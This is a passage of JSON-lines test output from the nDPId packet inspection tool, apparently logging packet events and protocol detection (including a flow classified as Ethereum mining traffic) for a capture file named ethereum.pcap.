+00429{"flow_id":39,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":664,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":71468,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA1AABAAEAGb4DAqAG4kFt4h91Bdl90OGUeKZdo64AYECEEnAAAAQEICiLYlkrbhaWQnQ=="} +00599{"flow_id":39,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":665,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":71528,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"EBMx8Tl2KDc3AG3ICABFAACwAABAAEAGbwXAqAG4kFt4h91Bdl90OGUfKZdo64AYECGlWAAAAQEICiLYlkrbhaWQKQa7RKADCp5Yww7OYuE9Miggmh8ySoRi+lUrW3LdjBvCIfExIFFU5MRWp\/qMcjmUORtP27nIvalZnsRogyuMTqpRo3c2lh790FNu+C2YmtmB+SqlsubcMwL2Ac6m8CfzaJg1\/DAz6AAgvE2B7+EgtQPeZdXQpBbqCFH1Jw=="} +00430{"flow_id":39,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":666,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":71540,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA3AABAAEAGb37AqAG4kFt4h91Bdl90OGWbKZdo64AYECGlRgAAAQEICiLYlkrbhaWQxtY1"} +00451{"flow_id":39,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":667,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":71582,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEAABAAEAGb3HAqAG4kFt4h91Bdl90OGWeKZdo64AYECEX3QAAAQEICiLYlkrbhaWQCZ0\/M0WSZNzAgZ1sJM8TNA=="} +00437{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":671,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":74018,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADQGtGayPh23wKgBuHZf3UMO43zOltsrhKAScSBk2gAAAgQFrAQCCArDycEqItiWJgEDAwc="} +00425{"flow_id":41,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":672,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":74135,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGqG7AqAG4sj4dt91Ddl+W2yuEDuN8z4AQECz0awAAAQEICiLYlk3DycEq"} +01063{"flow_id":41,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":673,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":75281,"pkt_caplen":535,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":535,"pkt_l4_len":501,"pkt":"EBMx8Tl2KDc3AG3ICABFAAIJAABAAEAGppnAqAG4sj4dt91Ddl+W2yuEDuN8z4AYECyHqwAAAQEICiLYlk7DycEqAdME6NVpajcosq6RM49EGro7mYWbbbLNPN0MLR8kLHZfx0gRuQ1caCQe4U0yUSQ4FqRJFTruoIMfMjaKuB5qGb42uaZfwZcyKyxvWHFQhDs3V1cVuKsNQi9FwM92VgquU08\/I7P7tp\/yUr\/C7VdnIVV6LXyRXLY8SD6SKG8OONIDAfnYGALwXTqYNdb7hmCLjNzLez2AQTXSY0BU6PRI6I+6Xrh5qM1Dxp+uimk1eyS3NPJv+CNAfyRBfI2fRVz0Rx8+c5jquClOTtxiybAEqmdUQtmzluB0+8XEtBbdaCEUu8\/nPQGFeFM8TaJX0fehgXJmCID7QO\/ZOjjty5w+lJljUWbiQnS82Tv7ClrXA5YBJUCb7hPWdEY7D5Cr5tFcy3pQmxdYpUDw3iHqF6ZtLpJBxTh1nAmgVEIzc6Ngf22J6TZ9R35GKyScLBTruRS2zqaCP8fx5W6gqUU8sykz7bsuYPbkz+JXFT0+wtH6sOTjWji6hB8VrfktEi+dELlD8HfujNk3V1tLfHGnF6YOPbmxMRvTb1sUSfnNi2Xggbyo9qfg0\/SGNRxxb1dRKsUqwf\/i+FRRNuU4kTnBm3ou2n2sQQSnceBQMx3V07zKNuITBC74Ug=="} +00561{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":673,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":4,"flow_first_seen":1578508365029,"flow_last_seen":1578508365075,"flow_tot_l4_data_len":617,"flow_min_l4_data_len":32,"flow_max_l4_data_len":501,"flow_avg_l4_data_len":154,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"178.62.29.183","src_port":56643,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00425{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":674,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":76934,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0WHZAACYGuyASimxDwKgBuHZf3S4uwDPuE20Ov4AQAfk32AAAAQEICqa6xFgi2JVq"} +00858{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":675,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":77677,"pkt_caplen":384,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":384,"pkt_l4_len":350,"pkt":"KDc3AG3IEBMx8Tl2CABFAAFyWHdAACYGueESimxDwKgBuHZf3S4uwDPuE20Ov4AYAfmaywAAAQEICqa6xFki2JVqATwEMCsTVW6PRW6\/boJLnJbxMXbG7Q4n\/VS8nFAXzztz2Xvm4ZuV1C1UKeOZqvMNWpKN7U45d84Y7AkTUC\/DpdrSUGNjiPb9BC2BBTX7+ncf7C4ibqcAhq4F4FpnZGCFimXyuZTQj6Gvi2hkRE8R35o216G9LgwLpmNKypL7PL438El9ODf4ptjriwKC5FVijAjeVsPfutb7mK5SBanC6QHvOpjE4egptFZpKo3WqusMT3PwgSblljEpJG9M4\/NSi25jW0qhOiQtzH64HZNB80xPYBoxidQi3Mlx58wTRISrHqOKKtyh4ALo4lWKLwBtKik5YzVw28WQsDhPOZ51\/XDKUH+R4zdy4rKkiI4RLmah1ZFu9TsJqy7bd03m0jQZQ8MLBqoj\/uM8ZNSQRrKFZ5ekHz1YOY+S7lK0zXRU"} +00469{"flow_id":18,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":676,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":77688,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"KDc3AG3IEBMx8Tl2CABFAABUWHhAACYGuv4SimxDwKgBuHZf3S4uwDUsE20Ov4AYAflSXwAAAQEICqa6xFki2JVqj3Qyu+5+uy1+28jwkZ3YRlGt3y1Sf7962SCA0mk3wIQ="} +00426{"flow_id":18,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":677,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":77710,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+ZbAqAG4EopsQ90udl8TbQ6\/LsA1LIAQECIniwAAAQEICiLYlk+musRZ"} +00426{"flow_id":18,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":678,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":77720,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+ZbAqAG4EopsQ90udl8TbQ6\/LsA1TIAQECEnbAAAAQEICiLYlk+musRZ"} +00430{"flow_id":18,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":679,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":77814,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA1WHlAACYGuxwSimxDwKgBuHZf3S4uwDVME20Ov4AYAfmTbwAAAQEICqa6xFki2JVqow=="} +00427{"flow_id":18,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":680,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":77844,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+ZbAqAG4EopsQ90udl8TbQ6\/LsA1TYAQECEnawAAAQEICiLYlk+musRZ"} +00431{"flow_id":18,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":681,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":77936,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA2WHpAACYGuxoSimxDwKgBuHZf3S4uwDVNE20Ov4AYAfnh\/QAAAQEICqa6xFki2JVqVHA="} +00447{"flow_id":18,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":682,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":77948,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"KDc3AG3IEBMx8Tl2CABFAABBWHtAACYGuw4SimxDwKgBuHZf3S4uwDVPE20Ov4AYAfms9gAAAQEICqa6xFki2JVqdj9nUXn\/sAhEHAq1Mw=="} +00427{"flow_id":18,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":683,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":77964,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+ZbAqAG4EopsQ90udl8TbQ6\/LsA1T4AQECAnagAAAQEICiLYlk+musRZ"} +00427{"flow_id":18,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":684,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":77971,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+ZbAqAG4EopsQ90udl8TbQ6\/LsA1XIAQECAnXAAAAQEICiLYllCmusRZ"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":700,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1578508365079,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"172.105.94.62","src_port":56646,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":700,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":79165,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGbbDAqAG4rGlePt1Gdl8dOmrnAAAAALAC\/\/\/VAwAAAgQFtAEDAwUBAQgKItiWUQAAAAAEAgAA"} +00426{"flow_id":19,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":701,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":91439,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0SuZAAOcGItcSilEcwKgBuHZf3S\/8FjKGFTVa84AQANu3cAAAAQEICmOBiksi2JVx"} +00438{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":702,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":92283,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADEGSEK524U+wKgBuHZf3UWdKkNsjzbHKaASbCBIRwAAAgQFdAQCCAp\/mc8NItiWMgEDAwc="} +00426{"flow_id":43,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":703,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":92423,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGOUrAqAG4uduFPt1Fdl+PNscpnSpDbYAQEAzSvAAAAQEICiLYll1\/mc8N"} +01001{"flow_id":19,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":704,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":93058,"pkt_caplen":488,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":488,"pkt_l4_len":454,"pkt":"KDc3AG3IEBMx8Tl2CABFAAHaSudAAOcGITASilEcwKgBuHZf3S\/8FjKGFTVa84AYANsMsQAAAQEICmOBikwi2JVxAaQERXO027taW9yXrghkzEyeJefJHWy2AfbVxQhdh8sEwsncVQl27LJvoCTDZEd5iSkn1Cnt3Oy+xADP4E4+5+q4zno08D22ND9KAY7XrR7UmY1UQ6VZ2SJzEoQdANe0lb7md0lGN0SUjjRomSQBMbUWdDPZLIXUVZgqJ2lGyU8wnUXSBzfzZi8UaroVGudRC95ytz8E\/gorTfjheka4F6Hv9zeMHi0Z1TERlN+tyHarwAoo4K118caMwni2m27vupJQlIwRsrr7DJJxMyAZoYGOj7LIdXc2g2lJvb\/88m1iTvyfuZTsLM7Ll\/eA9U67SKI7tnK0LT6rWCIExVu4ARQZuk\/hPHCyDRvcTqBGk9VMNF79VSTOnGpM9f46cwlBF5ajKTDgAbMyiWJsqymQ+rQtvc1vzuk0cJklUmBNScLYKnyVBDN6LtEqjOaNRmK6LeJNN4a17uIGQFuSD2dIvZ4d1zhMSOCEIT\/X\/moD1z7il\/0fqQcqt0HKtO6hXOMceu6oNYh+wgsp59gLz+B9MhoyjHkjUS5mD01TrUHzm\/LpMF8u3L4="} +00426{"flow_id":19,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":705,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":93098,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGFL7AqAG4EopRHN0vdl8VNVrz\/BY0LIAQEB6lmQAAAQEICiLYll5jgYpM"} +00470{"flow_id":19,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":706,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":93553,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"KDc3AG3IEBMx8Tl2CABFAABUSuhAAOcGIrUSilEcwKgBuHZf3S\/8FjQsFTVa84AYANvqGwAAAQEICmOBik0i2JVxCwE11PmlHdYYJwUZ7wQVcG+zA+gfe1cyoc3bs4RpZUo="} +00426{"flow_id":19,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":707,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":93580,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGFL7AqAG4EopRHN0vdl8VNVrz\/BY0TIAQEB2leAAAAQEICiLYll9jgYpN"} +00431{"flow_id":19,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":708,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":93675,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA1SulAAOcGItMSilEcwKgBuHZf3S\/8FjRMFTVa84AYANssnwAAAQEICmOBik0i2JVxiQ=="} +00431{"flow_id":19,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":709,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":93685,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA2SupAAOcGItESilEcwKgBuHZf3S\/8FjRNFTVa84AYANsCNAAAAQEICmOBik0i2JVxs2k="} +00427{"flow_id":19,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":710,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":93702,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGFL7AqAG4EopRHN0vdl8VNVrz\/BY0TYAQEB2ldwAAAQEICiLYll9jgYpN"} +00427{"flow_id":19,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":711,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":93710,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGFL7AqAG4EopRHN0vdl8VNVrz\/BY0T4AQEB2ldQAAAQEICiLYll9jgYpN"} +00447{"flow_id":19,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":712,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":93803,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"KDc3AG3IEBMx8Tl2CABFAABBSutAAOcGIsUSilEcwKgBuHZf3S\/8FjRPFTVa84AYANsf4AAAAQEICmOBik0i2JVxF4jwu0sCYR894Thpaw=="} +00451{"flow_id":19,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":713,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":93812,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"KDc3AG3IEBMx8Tl2CABFAABESuxAAOcGIsESilEcwKgBuHZf3S\/8FjRcFTVa84AYANt5wwAAAQEICmOBik0i2JVxicyOakUFu81kNVzra1b2Ow=="} +00987{"flow_id":43,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":718,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":94017,"pkt_caplen":476,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":476,"pkt_l4_len":442,"pkt":"EBMx8Tl2KDc3AG3ICABFAAHOAABAAEAGN7DAqAG4uduFPt1Fdl+PNscpnSpDbYAYEAwFAAAAAQEICiLYll9\/mc8NAZgEXPbdvtbTmRXtZvkhCpRu89E\/NC0evMSWxfI463ZMNvhJiUNtLl29hStqf1WWeBU1k0TTyXeOv\/rfDFTYD+juJGFonoyCsM3iL6Q9\/v964LYgEWMX9ALB4X30q9QaWo0Bm0qK9UwCQ8U15JoruS\/niDmalsIWQBLJ9q0Ij0l+QS2w4MJipV05eRX1u42NiX0nmbgf66P3ENbOZj\/1aRDDyF+yjCJSZexZkCh3TyvjVjrGklMAsE77Hx\/c36JFY8gxNN5UQueSZRyjaLRTsI3yKKslk2JbQ902NRTc1Rojsg1zBhHRq\/ORbfBLpQVnAzo9YYHG1v3ZkBmEr0D\/uZNUW7OFL1C89+KGfRCCauAg+mHJwhFjmKdLe6NbjRExzUYQIm1BV51xri9clMmcaNO1RuyCxI3E6JGhWjmuGD8Bu8l1qU7n33tia+dLRd8o+DqGHtS040to9Oiy5u2Jm96xP8m1GRaVb+lWWnQCbdKr1vIGF4mbQblvVd7WqYL7sCqoH0rk2G\/9qPEDzYYKUSpck5aEa0\/xYu4="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":728,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1578508365094,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"182.162.161.61","src_port":56647,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":728,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":94625,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGIHjAqAG4tqKhPd1Hdl8HffxGAAAAALAC\/\/8MGQAAAgQFtAEDAwUBAQgKItiWYAAAAAAEAgAA"} +00716{"flow_id":39,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":736,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":97308,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":274,"pkt_l4_len":240,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEEnAlAADQG3qeQW3iHwKgBuHZf3UEpl2jrdDhk\/oAYAOudKAAAAQEICtuFpasi2JZKOD1kVbLrdC\/cTcdqNF\/\/M4myJbuDPiTQR6RUYgwP1uedKee7VKs2H4QewUbNHrtseikxjhBxWZkorgltADGDmRfEe6AzdQcAqJEB6uNyh4vIfEFBKBXV8fdGKEgFbUP2ckfVnYD32cFPqYFvzB1Hv2pBmCo0\/bM73fFG\/xOMNjWlbZdEdNl8R0hfgpQcGWH1T1goLnjUzh8o835V9CrzJubJpsi36J+WHIjPS2e38krYjJGf8DvXs\/hb9yvVQc3X3BKPL6jhGHuYwGCshh9jcA=="} +00426{"flow_id":39,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":740,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":97356,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGb4HAqAG4kFt4h91Bdl90OGWuKZdpu4AQEBugGAAAAQEICiLYlmLbhaWr"} +00471{"flow_id":39,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":745,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":97539,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"EBMx8Tl2KDc3AG3ICABFAABUAABAAEAGb2HAqAG4kFt4h91Bdl90OGWuKZdpu4AYEBvf2gAAAQEICiLYlmLbhaWrKLJdwgWgzHiunNDUMQjL\/MKl3U2Vlj17wXkYaRtrgr4="} +00439{"flow_id":44,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":755,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":104666,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFCAA8AABAADMGeqysaV4+wKgBuHZf3UajVVX7HTpq6KAS\/ojIGAAAAgQFrAQCCAobAQsKItiWUQEDAwc="} +00427{"flow_id":44,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":756,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":104768,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGbbzAqAG4rGlePt1Gdl8dOmroo1VV\/IAQECzlIgAAAQEICiLYlmgbAQsK"} 